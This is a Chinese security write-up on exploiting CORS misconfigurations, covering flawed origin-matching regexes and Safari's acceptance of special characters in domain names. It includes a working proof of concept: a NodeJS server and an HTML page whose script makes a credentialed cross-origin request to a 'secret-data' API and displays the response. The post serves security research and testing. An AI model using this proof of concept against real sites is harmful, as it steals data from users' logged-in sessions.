CORS是一個(gè)W3C標(biāo)準(zhǔn),全稱是"跨域資源共享"(Cross-originresource sharing)。 出于安全原因,瀏覽器限制從腳本中發(fā)起的跨域HTTP請(qǐng)求。默認(rèn)的安全限制為同源策略,即JAVAScript或Cookie只能訪問同域下的內(nèi)容。
瀏覽器的同源策略規(guī)定:不同域的客戶端腳本在沒有明確授權(quán)的情況下,不能讀寫對(duì)方的資源。那么何為同源呢,即兩個(gè)站點(diǎn)需要滿足同協(xié)議,同域名,同端口這三個(gè)條件。
SOP是一個(gè)很好的策略,但是隨著Web應(yīng)用的發(fā)展,網(wǎng)站由于自身業(yè)務(wù)的需求,需要實(shí)現(xiàn)一些跨域的功能,能夠讓不同域的頁面之間能夠相互訪問各自頁面的內(nèi)容。
CORS,跨域資源共享(Cross-origin resource sharing),是H5提供的一種機(jī)制,WEB應(yīng)用程序可以通過在HTTP增加字段來告訴瀏覽器,哪些不同來源的服務(wù)器是有權(quán)訪問本站資源的,當(dāng)不同域的請(qǐng)求發(fā)生時(shí),就出現(xiàn)了跨域的現(xiàn)象。
背景:DNS&瀏覽器:
簡單來說DNS本質(zhì)上就是服務(wù)器的地址簿。它將主機(jī)名轉(zhuǎn)換/映射到IP地址,使互聯(lián)網(wǎng)更易于使用。
當(dāng)你嘗試訪問瀏覽器中的URL時(shí):
連接服務(wù)器?服務(wù)器使用SYN+ACK進(jìn)行響應(yīng)?瀏覽器向服務(wù)器發(fā)送HTTP請(qǐng)求以檢索內(nèi)容?呈現(xiàn)/顯示內(nèi)容。
DNS服務(wù)器響應(yīng)任意請(qǐng)求 – 你可以發(fā)送子域中的任何字符,只要該域具有通配符DNS記錄,它就會(huì)響應(yīng)。
例如
dig A "<@$&(#+_`^%~>.withgoogle.com" @1.1.1.1 | grep -A 1 "ANSWER SECTION"

瀏覽器?
現(xiàn)在我們知道DNS服務(wù)器會(huì)響應(yīng)這些請(qǐng)求,那么瀏覽器又是如何處理它們的呢?
大多數(shù)瀏覽器在發(fā)送任意請(qǐng)求之前都會(huì)驗(yàn)證域名。
例如
Chrome:

Firefox:

Safari:

注意!是大多數(shù)而不是所有瀏覽器。Safari就不同,如果我們嘗試加載相同的域,它實(shí)際上會(huì)發(fā)送請(qǐng)求并加載頁面:
我們可以使用各種字符,甚至是不可打印字符:
,&'";!$^*()+=`~-_=|{}% // non printable chars %01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
CORS配置
設(shè)置瀏覽器允許訪問的服務(wù)器的頭信息的白名單。可以使用正則表達(dá)式來完成。
示例#1:
^https?://(.*.)?xxe.sh$
即允許從xxe.sh和任意子域 (http:// 或 https://)進(jìn)行跨域訪問。
這也意味著攻擊者想要從該端點(diǎn)竊取數(shù)據(jù),唯一的可能性就是接管http(s)://xxe.sh / http(s)://*.xxe.sh的子域或其本身存在XSS漏洞。
示例#2:
^https?://.*.?xxe.sh$
與示例1相同 – 即允許從xxe.sh和任意子域進(jìn)行跨域訪問。
這個(gè)正則表達(dá)式與示例1非常相似,但其極易被攻擊者利用并竊取數(shù)據(jù)。
而問題的根本就出在.*.?
分解:
.* = 單個(gè)字符匹配任意詞,即貪婪匹配。 . = 匹配點(diǎn)字符 ? = 匹配前面的子表達(dá)式零次或一次
由于.*.不在一個(gè)組中,量詞?只會(huì)對(duì).字符有作用。因此在字符串"xxe.sh"之前可以放入任意字符,無論前面這些字符是否用句點(diǎn)符號(hào)進(jìn)行分隔。
這意味著攻擊者可以發(fā)送以xxe.sh結(jié)尾的任意地址,并且可以跨域訪問。

這是一種非常常見的bypass技術(shù) – 這里有一個(gè)真實(shí)的例子:
https://hackerone.com/reports/168574
示例#3:
^https?://(.*.)?xxe.sh:?.*
這可能是為了允許從xxe.sh、所有子域以及這些域上的任何端口進(jìn)行跨域訪問。
你能發(fā)現(xiàn)問題嗎?
分解:
: = 匹配冒號(hào),即“:” ? = 匹配次數(shù),就本例來說表示匹配冒號(hào)“:”零次或一次。 .* = 單個(gè)字符匹配
任意次,即貪婪匹配。
就像示例2一樣,量詞?只會(huì)對(duì):字符有作用。因此,如果我們發(fā)送的域名在xxe.sh之后還有其他字符的話,仍然會(huì)被接受。

價(jià)值百萬美元的問題:
在利用CORS Misconfigurations時(shí),Safari如何處理特殊字符?
以下面的Apache配置為例:
SetEnvIf Origin "^https?://(.*.)?xxe.sh([^.-a-zA-Z0-9]+.*)?"
AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %
{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
實(shí)現(xiàn)從xxe.sh,所有子域以及這些域上的任何端口進(jìn)行跨域訪問。
下面是正則表達(dá)式的分解:
[^.-a-zA-Z0-9] = 不匹配這些字符:"." "-" "a-z" "A-Z" "0-9" + = 匹配次數(shù):匹配上面的
字符一次或無數(shù)次 .* = 除行終止符之外的任意字符
這個(gè)API無法訪問前面例子中的域,并且其他常見的繞過方法也無濟(jì)于事。針對(duì)*.xxe.sh的子域接管或XSS攻擊,只能用來竊取數(shù)據(jù),但是,我們可以在此基礎(chǔ)上發(fā)揮創(chuàng)造性!
我們知道,任何諸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不會(huì)被信任的,但是,在字符串"xxe.sh"之后有空格的域名的情況又如何呢?

我們看到它是被信任的,但是任何普通瀏覽器都不支持這樣的域。
由于正則表達(dá)式匹配字母數(shù)字ASCII字符以及. -,所以,"xxe.sh"之后的特殊字符是被信任的:

這種域名在現(xiàn)代通用瀏覽器Safari中被支持。
利用
先決條件:
具有泛解析記錄的域指向您的機(jī)器。
NodeJS
和大多數(shù)瀏覽器一樣,Apache和Nginx也不喜歡這些特殊字符,所以使用NodeJS為html和JavaScript提供服務(wù)更容易。
[+] serve.js
var http = require('http'); var url = require('url'); var fs = require('fs');
var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-
poc') { fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'}); res.write(data);
res.end(); }); } else { res.writeHead(200,
{'Content-Type':'text/html'}); res.write('never gonna give you up...');
res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on
port ${port}`);
在同一個(gè)目錄中,保存以下內(nèi)容:
[+] cors.html
<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();">
<center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz">
</textarea><br> </div> <script> function cors() { var xhttp = new
XMLHttpRequest(); xhttp.onreadystatechange = function() { if
(this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText; } };
xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
xhttp.withCredentials = true; xhttp.send(); } </script>
通過運(yùn)行以下命令來啟動(dòng)NodeJS服務(wù)器:
node serve.js &
正如之前所述,由于正則表達(dá)式與字母數(shù)字ASCII字符和. -相匹配,所以,"xxe.sh"之后的特殊字符將獲得信任:
因此,如果我們打開Safari并訪問http://x.xxe.sh{./cors-poc,就能夠成功地從易受攻擊的端點(diǎn)中竊取數(shù)據(jù)。

此外,我還注意到,字符_(在子域中)不僅在Safari中受支持,而且Chrome和Firefox也支持該字符!
實(shí)際測試
考慮到這些特殊字符,找出Access-Control-Allow-Origin頭文件中反映了哪些域可能是一項(xiàng)冗長而費(fèi)時(shí)的任務(wù):

TheftFuzzer介紹:
為了節(jié)省時(shí)間并提高效率,我決定編寫一個(gè)工具對(duì)相應(yīng)的CORS配置進(jìn)行模糊測試,以獲取允許的域名。該工具是用Python編寫的,大家可以在Github上下載到這個(gè)工具,如果你對(duì)該工具有任何改進(jìn)意見,請(qǐng)隨時(shí)在Github上向我提出!
結(jié)語
我希望這篇文章能為大家提供/帶來一些好的靈感和思路。也希望大家能活學(xué)活用,把學(xué)到的這些知識(shí)點(diǎn)運(yùn)用到實(shí)際的研究測試中。最后,祝愿大家漏洞越挖越多。
探討滲透測試及黑客技術(shù),請(qǐng)關(guān)注并私信我。#小白入行網(wǎng)絡(luò)安全# #安界網(wǎng)人才培養(yǎng)計(jì)劃#